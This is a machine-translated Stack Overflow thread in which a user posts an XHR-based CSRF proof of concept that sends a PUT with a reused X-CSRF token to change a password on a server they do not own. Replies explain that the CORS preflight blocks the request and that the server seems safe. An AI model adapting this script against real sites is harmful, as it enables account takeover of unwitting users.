2017-07-03 47 views
0

我試圖做到:PUT請求變成選項而沒有請求跟進由於CORS

所以我想創建CSRF的POC,但服務器需要一個X-CSRF令牌;其中應該使它不可能。然而,我發現了一個(非常簡單)的方式來發送一個x-csrf令牌,這個令牌總是有效的。所以我想創建一個POC關於如何更改密碼併發送X-CSRF令牌; AJAX 應該做這項工作。

代碼至今:

<html> 
<button type="button" onclick="loadDoc()">execute</button> 

<script> 
function loadDoc() { 
    var xhttp = new XMLHttpRequest(); 
    xhttp.onreadystatechange = function() { 
    if (this.readyState == 4 && this.status == 200) { 
     document.getElementById("demo").innerHTML = this.responseText; 
    } 
    }; 
    xhttp.open("PUT", "http://www.example.com/changepassword", true); 
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); //is "application/x-www-form-urlencoded" right? 
    xhttp.setRequestHeader('X-CSRF-Token', "ThatOneValidToken"); 
    xhttp.send("{\"password\":\"POC-CSRF-PASSWORD\"}"); 
} 
</script> 

</html> 

問題:

然而,由於CORS的這一PUT請求變成OPTIONS請求,然後沒有後續PUT請求。這個OPTIONS請求的響應只是一個簡單的

HTTP/1.1 404未找到

問題:

因爲它是一個外部服務器,我沒有自己(解釋了POC )我無法做服務器更改。我能否以某種方式更改請求,以便我仍然可以執行POC;換句話說,就我的想象力而言,我是否可以繞過此OPTIONS請求或修改請求以確保此OPTIONS預檢請求獲得後續PUT請求?

在此先感謝,會給你買一個友好的咖啡如果你有解決方案(如果這是合法的在stackoverflow)。

+0

對於POC目的,您可以使用一些瀏覽器擴展,如https://chrome.google.com/webstore/detail/allow-control-allow-origi/nlfbmbojpeacfghkpbjhddihlkkiljbi通過CORS。 –

回答

0

不適用於客戶端代碼。

交叉來源PUT請求需要預檢。

帶有非標準標題的跨源請求需要預檢。

通過其他服務器代理請求是您唯一的選擇。

+0

啊,謝謝!你有什麼建議如何做到這一點? – mroWsymaS

+0

因爲我仍然需要www.example.com上人員的cookies – mroWsymaS

+0

你不能得到的。畢竟,服務器看起來不容易受到CSRF攻擊。 – Quentin